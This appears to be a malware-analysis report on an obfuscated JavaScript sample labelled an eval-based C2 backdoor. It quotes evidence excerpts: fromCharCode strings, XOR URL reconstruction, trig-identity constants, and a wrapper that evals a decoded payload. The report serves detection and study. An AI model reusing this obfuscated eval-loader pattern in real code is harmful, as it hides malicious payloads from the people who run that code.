Suspicious ^80% javascript-malware-collection Download

20151216_6a0699dfe71ed02aed0d1f15fc6872e3.js

obfuscated eval C2 backdoor

Numeric trig-round obfuscation expressionNumeric sine-square obfuscation expression

SHA-256caa3e7f75cdce0f3ab6cc2ce7a89d6ef37a9dfd251d0630e489aabc5dba5de5c

Evidence

Builds characters with String.fromCharCode line 2

2:162… '>','o','!',']','R','.','v','Q','/','R','0','E','/','T','q','^',String.fromCharCode(10),'6','N','4','D','M','Z','%','k','#','H',']',']',String.fromCharCode(13),';','t','V','K','7','B',':','o','7','3','[','a','X' …

XOR URL reconstruction call line 2

2:778… '#','H','E','Z','%','e','5','q','K','%','?','&','8','%','^','L',String.fromCharCode(39),'I','*','(','g','9','G',')',' ','u','2','+','(','g','*','h','0','&','m','9','^','+','1','`','a','&',',',';','-','j','z','H','.','J','G','^','W','E','C','/','l','/','G','P','l','x','0','1',',','K',')','I','2','a','y','t','3','2','T','M','f','3','+','J','7','C','4','5 …

Calls JavaScript toString conversion method lines 4–7

4:44… jJrSEp){lwGM=VCRbmCkbxqWSYPkCD(vVydkRWeifj,eZQJFzJQjDoQL);izcKZ=lwGM.toString(YgjJrSEp);return izcKZ;}
5function CzyQhiBkZmZkPTc(dcfDdjUBcOaKJOeor,qICdFSvqEyCgeFCzpJvmnsiOrKNohXlVhr,VPLKRmdUYAKYTihmAvJxsUNcvSUYEeSRsac){eval(dcfDdjUBcOaKJOeor);}
6function xjycAZSEhWdQTSNuFDcFxAiuCywUHzVQBwyTwXNtrqUWtODLheJEpx(dlWCNfrPmBoiu,lnPwkhpMvkMRDp){ return UYgbjYC[hJlebUBH[vPYXI(dlWCNfrPmBoiu[lnPwkhpMvkMRDp],(2305+243)/91,(2042+228)/227)]];}
7function JPjkUNs(ngKlyFyELuWNfWyoJnKVItDxdZvaJFXIuTuD) {return !uHIWVCyBpMZ(MNMZJyrRdEiYfrj(ngKlyFyELuWNfWyoJnKVItDxd …

Dense indexed short-token grid lines 12–13

12:33… QNRKGmJ,nPnPTmwHnuK) {EkIwsLETxIcvnA[FfkeqVQNRKGmJ]=nPnPTmwHnuK;}
13var c = new Array();c[0]=[];c[0][0]='d';c[0][1]='a';c[0][2]='d';c[0][3]='a';c[0][4]='46';c[0][5]='3d';c[0][6]='42';c[0][7]='14';c[0][8]='41';c[0][9]='14';c[0][10]='25';c[0][11]='14';c[0][12]='16';c[0][13]='47';c[0][14]='3k';c[0][15]='3d';c[0][16]='44';c[0][17]='3g';c[0][18]='3l';c[0][19]='3g';c[0][20]='49';c[0][21]='3 …

Numeric sine-square obfuscation expression lines 19–22

19:30… ],c[4],c[5]];
20var oeWbJVhQF=[];
21function ncquwEOGLxZNzCoqE(nWpBR){ebxSMyDlpny= '';kNStTrwoqKW=Math.round((Math.pow(Math.sin(611), 2) + Math.pow(Math.cos(611), 2) - 1));while(true){if (kNStTrwoqKW >= (2423+391)/469){break;}oeWbJVhQF[kNStTrwoqKW]=Math.round((Math.pow(Math.sin(790), 2) + Math.pow(Math.cos(790), 2) - 1)); while(true) { if(oeWbJVhQF[kNStTrwoqKW] > nWpBR[kNStTrwoqKW].length-(390+114)/504) { break; } if (JPjkUNs(vPYXI(nWpBR[kNStTrwoqKW][oeWbJVhQF[kNStTrwoqKW]],(15037+139)/542,(8663+77)/874))) {ebxSMyDlpny += xjycAZSEhWdQTSNuFDcFxAiuCywUHzVQBwyTwXNtrqUWtODLheJEpx([nWpBR[kNStTrwoqKW][oeWbJVhQF[kNStTrwoqKW]]], Math.round((Math.pow(Math.sin(48), 2) + Math.pow(Math.cos(48), 2) - 1)));} oeWbJVhQF[kNStTrwoqKW]++;}kNStTrwoqKW++;} return ebxSMyDlpny}
22var qoNiPdCfrxvtDriPwxvsjrJodMZWfYEoQ = 'XOKAaytPPoVQuKWtnKwsAIQoGDRDGjBOFuIn';var jtsbXjJyQXdCafmTHEhwGxWxFooHPRmZ = 'hYEGtWmrFBqHXmsivQTttDkWrbrYGfgtnuyH';CzyQhiBkZmZkPTc(ncquwEOGLxZNzCoqE(nWpBR),qoNiPdCfrxvtDriPwxvsjrJodMZWfYEoQ,jtsbXjJyQXdCafmTHEhwGxWxFooHPRmZ);